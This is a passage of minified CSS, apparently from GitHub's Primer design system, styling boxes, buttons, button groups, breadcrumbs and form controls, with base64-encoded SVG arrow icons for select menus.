Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored 